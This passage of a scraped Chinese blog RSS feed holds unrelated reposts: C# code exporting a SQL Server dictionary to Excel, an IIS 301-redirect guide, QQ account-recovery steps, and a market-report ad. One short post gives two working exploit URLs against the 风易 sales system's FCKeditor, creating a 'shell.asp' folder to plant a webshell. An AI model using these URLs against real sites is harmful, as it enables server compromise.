<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Work work = new Work();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; work.Progress += new EventHandler&lt;ProgressEventArgs&gt;(OnWorkProgress);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; work.Run(db, dataSource, user, password);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Console.WriteLine();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Console.WriteLine(&quot;all done!&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Console.Read();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private static void OnWorkProgress(object sender, ProgressEventArgs e)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Console.WriteLine(e.Status);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; public class Work<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public event EventHandler&lt;ProgressEventArgs&gt; Progress;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public void Run(string Database, string DataSource, string UserName, string Password)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExcelFile xls = new ExcelFile();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ExcelWorksheet sheet = xls.Worksheets.Add(&quot;Dictionary&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CellStyle nameStyle = new CellStyle(xls);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nameStyle.FillPattern.SetSolid(Color.DarkGray);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nameStyle.Font.Color = Color.Black;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nameStyle.Font.Weight = ExcelFont.BoldWeight;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.Cells[0, 0].Value = string.Format(&quot;{0} database dictionary&quot;, Database);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.Cells[4, 0].Value = &quot;Name&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.Cells[4, 0].Style = nameStyle;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.Cells[4, 1].Value = &quot;Dependencies&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.Cells[4, 1].Style = nameStyle;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.Cells[4, 2].Value = &quot;Type&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sheet.Cells[4, 2].Style = nameStyle;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string connectionString = string.Format(&quot;Password={0};Persist Security Info=True;User ID={1};Initial Catalog={2};Data Source={3}&quot;, Password, UserName, Database, DataSource);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; using (SqlConnection connection = new SqlConnection(connectionString))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; connection.Open();</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int index = 5;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddObjects(connection, &quot;'P'&quot;, &quot;Stored Procedures&quot;, new List&lt;string&gt;(new string[] { &quot;sp_alterdiagram&quot;, &quot;sp_creatediagram&quot;, &quot;sp_dropdiagram&quot;, &quot;sp_helpdiagramdefinition&quot;, &quot;sp_helpdiagrams&quot;, &quot;sp_renamediagram&quot;, &quot;sp_upgraddiagrams&quot; }), sheet, ref index);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddObjects(connection, &quot;'FN','IF','TF'&quot;, &quot;Functions&quot;, new List&lt;string&gt;(), sheet, ref index);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddObjects(connection, &quot;'V'&quot;, &quot;Views&quot;, new List&lt;string&gt;(), sheet, ref index);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; connection.Close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string path = Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location) + @&quot;\&quot; + Database + &quot;.xls&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xls.SaveXls(path);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private void AddObjects(SqlConnection Connection, string Types, string Name, List&lt;string&gt; IgnoreNames, ExcelWorksheet Sheet, ref int Index)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CellStyle itemStyle = new CellStyle();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; itemStyle.FillPattern.SetSolid(Color.LightGray);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; itemStyle.Font.Color = Color.Black;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; itemStyle.Font.Weight = ExcelFont.BoldWeight;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CellStyle typeStyle = new CellStyle();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; typeStyle.FillPattern.SetSolid(Color.Yellow);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; typeStyle.Font.Color = Color.Black;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; typeStyle.Font.Weight = ExcelFont.BoldWeight;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sheet.Cells[Index, 0].Value = Name;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sheet.Cells[Index, 0].Style = typeStyle;</p>
<p>本文转自 ☆★ <a href="http://www.baoluowanxiang.com"><strong>包罗万象</strong></a>网 ★☆ - <a href="http://www.baoluowanxiang.com">http://www.baoluowanxiang.com</a> 转载请注明出处，侵权必究！<br />
原文链接：<a href="http://www.baoluowanxiang.com/a/shujuku/sql/2010/0805/1310.html">http://www.baoluowanxiang.com/a/shujuku/sql/2010/0805/1310.html</a></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/6794703.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Sun, 12 Dec 2010 10:35:15 CST </pubDate>
</item>

<item>
<title>IIS服务器下做301永久重定向设置方法</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/6566910.html</link>
<description>
<![CDATA[<p>以前也没怎么关注301重定向，第一因为没有网站要重定向，第二对于不带www的域名我都是用的转发到带www的域名。不过一场风波之后，很多服务商已经不提供转发服务了，虽说易名现在还可以享用到免费的转发服务，但是却不能不带www的转发到带www的同时进行MX记录解析，这对于需要MX解析的朋友也是一大烦恼。<br />
　　而且有些域名在国外，转发更是用不了，也只能进行301永久重定向了，不然搜索引擎是把不带www的站和带www的站分开对待的，只是我们习惯于用带www的域名罢了。<br />
　　在网络上看了些教程，再根据自己的实践，也终于搞定了IIS服务器上的301永久重定向设置问题。实现方法如下：<br />
　　1.新建一个站点，对应目录如E:\wwwroot\301web。该目录下只需要1个文件，即index.html或者加个404.htm。绑定要跳转的域名，如图：<br />
　　</p>
<p><br />
&nbsp;</p>
<p>　　2.在IIS中选中刚才我们建立的站点，右键，属性，主目录，选择重定向到，输入网址如：<a href="http://www.xxxx.com">http://www.xxxx.com</a>，同时注意选中下面的资源的永久重定向选项。如下图：<br />
　　</p>
<p>&nbsp;</p>
<p><br />
&nbsp;</p>
<p>　　3.到此，我们已经完成了将xxxx.com这个域名301重定向到<a href="http://www.xxxx.com">www.xxxx.com</a>的工作。<br />
　　注意问题：<br />
　　&ldquo;上面输入准确的 URL(X)&rdquo;这个选项建议不要选。<br />
　　不选的结果是：<br />
　　当输入xxxx.com转到了<a href="http://www.xxxx.com">www.xxxx.com</a>，<br />
　　当输入xxxx.com/sanwen/suibi/时，转到了<a href="http://www.xxxx.com/sanwen/suibi/">www.xxxx.com/sanwen/suibi/</a>。<br />
　　选上的结果是：<br />
　　当你输入xxxx.com或者xxxx.com/sanwen/suibi/都会转到<a href="http://www.xxxx.com">www.xxxx.com</a>。<br />
　　好了，如果只是想把不带www的转到带www的或者其他没有用过的域名转到正在使用的域名，这样就可以了。但是如果你要的域名已经做过网站，想要把权重传递给新网站，可以参考下面这个方法：<br />
　　第一步同上，主要是第二步，如图：<br />
　　</p>
<p>&nbsp;</p>
<p><br />
&nbsp;</p>
<p>　　注意红色字体的部分，在重定向到地址的后面多了$S$Q字符，即写成了<a href="http://www.xxxx.com$S$Q">http://www.xxxx.com$S$Q</a>。&ldquo;上面输入准确的 URL(X)&rdquo;这个选项也打了勾。<br />
　　对于$S$Q字符，这里解释一下：<br />
　　$S 将请求的URL 的后缀传递给新的URL。后缀是用重定向的URL 代替之后，初始URL 中所保留的部分。<br />
　　如果未设置 EXACT_DESTINATION 标志，则结果目标URL 的名称将具有所请求文件的名称(作为文件夹名称)以及文件名本身。<br />
　　$Q 将初始URL 中的参数(如 querystring 参数)传递至新的 URL，包括问号(?)。<br />
　　如果不加上$S$Q字符的话，内页的301都会跳转到首页，加上$S$Q字符的目的就是内页也能准确的跳转到新域名的对应内页。<br />
　　好了，这样就完成了301永久重定向的设置，设置好之后最好能测试下是否返回的是301值，推荐个网址：<a href="http://www.seoconsultants.com/tools/headers">http://www.seoconsultants.com/tools/headers</a>或者<a href="http://www.baoluowanxiang.com">http://www.baoluowanxiang.com</a><br />
　　百度对301的反应并不像想象中那么慢，第二天就收录了xxxx.com这个页面，快照最新。当然，快照的内容是<a href="http://www.xxxx.com">www.xxxx.com</a>的内容，而不是301web里index.html的内容。<br />
&nbsp;</p>
<p>&nbsp;</p>
<p><br />
本文转自 ☆★ <strong><a href="http://www.baoluowanxiang.com">包罗万象</a></strong>网 ★☆ - <a href="http://www.baoluowanxiang.com">http://www.baoluowanxiang.com</a> 转载请注明出处，侵权必究！<br />
原文链接：<a href="http://www.baoluowanxiang.com/a/website/dotnet/2010/1023/1877.html">http://www.baoluowanxiang.com/a/website/dotnet/2010/1023/1877.html</a></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/6566910.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Mon, 22 Nov 2010 18:16:09 CST </pubDate>
</item>

<item>
<title>qq密保忘了怎么办</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/6566903.html</link>
<description>
<![CDATA[<p><a href="http://www.baoluowanxiang.com/a/qq/2010/0728/1261.html">qq密保忘了怎么办</a>如果您的密码无法使用，建议立即进行帐号申诉，申诉成功后，即可设置新密码和密保。申诉地址：<a href="http://aq.qq.com/ss">http://aq.qq.com/ss</a></p>
<p>　　如果您的密码可以正常使用，建议按以下步骤进行操作：</p>
<p>　　【第一步】查看自己的密保状态</p>
<p>　　先看看自己的密保状态是一代密保还是二代密保。查看地址：<a href="http://aq.qq.com/mb">http://aq.qq.com/mb</a></p>
<p>　　如果是一代密保，建议立即升级二代密保，升级成功即可设置新的二代密保。升级地址：<a href="http://aq.qq.com/up">http://aq.qq.com/up</a></p>
<p>　　如果已经是二代密保，进入第二步</p>
<p>　　【第二步】二代密保用户查看自己的密保手段</p>
<p>　　先查看自己是否有多个密保手段。如果有，选择可用的密保手段，通过验证可用的密保手段后即可修改忘记的密保。如图：　　</p>
<p>&nbsp;</p>
<p>　　如果没有可用的密保手段，建议立即申请重置密保（入口见下图）。重置密保地址：<a href="http://aq.qq.com/cz">http://aq.qq.com/cz</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>　　如果申请升级、申请重置密保不成功，可进行帐号申诉补充更多资料，申诉成功后即可设置新密保和密码。</p>
<p>　　特别说明：</p>
<p>　　在申请升级二代密保、申请重置密保、帐号申诉的过程中，请尽量回忆和填写记得的资料，如果所有资料都不记得，也可以提交申请。</p>
<p><br />
本文转自 ☆★ <a href="http://www.baoluowanxiang.com">包罗万象</a>网 ★☆ - <a href="http://www.baoluowanxiang.com">http://www.baoluowanxiang.com</a> 转载请注明出处，侵权必究！<br />
原文链接：<a href="http://www.baoluowanxiang.com/a/qq/2010/0728/1261.html">http://www.baoluowanxiang.com/a/qq/2010/0728/1261.html</a></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/6566903.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Mon, 22 Nov 2010 18:15:26 CST </pubDate>
</item>

<item>
<title>风易在线销售系统 v3.0.0 上传漏洞</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/4920535.html</link>
<description>
<![CDATA[<p>风易在线销售系统 v3.0.0中的fckeditor编辑器存在上传漏洞，利用可获得webshell权限。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 官网同样存在此问题<br />利用方法：</p>
<p>1.&nbsp;&nbsp;&nbsp; <a href="http://www.hackqing.cn/FooeeShop.Webedit/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&amp;Type=Image&amp;CurrentFolder=%2Fshell.asp&amp;NewFolderName=z&amp;uuid=1244789975684">http://www.hackqing.cn/FooeeShop.Webedit/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&amp;Type=Image&amp;CurrentFolder=%2Fshell.asp&amp;NewFolderName=z&amp;uuid=1244789975684</a></p>
<p>&nbsp;</p>
<p>2. <a href="http://www.hackqing.cn/FooeeShop.Webedit/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=../../connectors/asp/connector.asp">http://www.hackqing.cn/FooeeShop.Webedit/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=../../connectors/asp/connector.asp</a></p>
<p>&nbsp;</p>
<p><br />本文转自 ☆★ 包罗万象网★☆ - <a href="http://www.baoluowanxiang.com">http://www.baoluowanxiang.com</a> 转载请注明出处，侵权必究！<br />原文链接：<a href="http://www.baoluowanxiang.com/a/net-offense/loophole/2010/0417/469.html">http://www.baoluowanxiang.com/a/net-offense/loophole/2010/0417/469.html</a></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/4920535.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Sun, 18 Apr 2010 21:35:35 CST </pubDate>
</item>

<item>
<title>2010年中国聚明胶肽行业投资价值研究预测市场调研报告</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/4826546.html</link>
<description>
<![CDATA[<span class="Dblue">[报告名称]：</span>2010年中国聚明胶肽行业投资价值研究预测<strong><a href="http://www.cu-market.com.cn/">市场调研</a></strong>报告<br /><span class="Dblue">[完成日期]：</span>2010-3-23<br /><span class="Dblue">[交付方式]：</span>Email电子版或特快专递<br /><span class="Dblue">[报告价格]：</span>纸质版：<span class="red">6500 元</span> |&nbsp;电子版：<span class="red">6800 元</span> |&nbsp;纸质+电子版：<span class="red">7000 元</span><br /><span class="Dblue">[传真订购]：</span>010-51726393&nbsp;| 下载：<a href="http://www.cu-market.com.cn/contract/contract.doc">订购合同</a><br /><span class="Dblue">[订购电话]：</span><strong class="red">010-51726368</strong><br /><span class="Dblue">[后续服务]：</span>本报告<strong>免费</strong>提供后续一年数据更新服务<br /><span class="Dblue">[内容简介]：</span><br />
<p>　　聚明胶肽注射液是新一代国产血浆注射<a href="http://www.cu-market.com.cn/"><strong>市场调研</strong></a>液，在临床应用于失血性病人中能及时扩充血容量，维持循环血量稳定，保证组织灌注，提升血压，为手术抢救病人争取更多机会。聚明胶肽注射液无免疫原性，不干扰凝血机制，效果好，使用方便安全，副作用小，有着广阔的市场前景。</p>
<p>&nbsp;</p>
<p>　　2009年1-11月，我国聚明胶肽行业市场规模达到了6.12亿元，同比增长了23.6%。2008年我国聚明胶肽销售行业市场规模达到了4.95亿元，同比增加了22.2%。<a href="http://www.cu-market.com.cn/"><strong>市场调研</strong></a></p>
<p align="center"><img style="WIDTH: 500px; HEIGHT: 206px" src="http://www.cu-market.com.cn/upfile/2010032341961157.gif" alt="" /></p>
 type="text/javascript" src="/template/bg_intro_bc.js"></script>
<p>&nbsp;</p>
<p>　　本研究咨询报告主要由尚普咨询研究中心撰写，报告根据国家统计局、工商局、税务局、海关总署、国务院发展研究中心、发改委、商务部、国家信息中心、各大商用数据库、相关行业协会、报刊杂志及各市调公司所公布的资料撰写，本报告是相关企业、相关研究单位及银行政府等准确、全面、迅速了解目前该行业发展动向、把握企业战略发展定位方向不可或缺的专业性报告。</p>
<p>本文出自:中国联合市场调研网&nbsp;&nbsp;&nbsp; <a href="http://www.cu-market.com.cn/">http://www.cu-market.com.cn/</a><br /></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/4826546.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Thu, 01 Apr 2010 18:20:23 CST </pubDate>
</item>

</channel>
</rss>
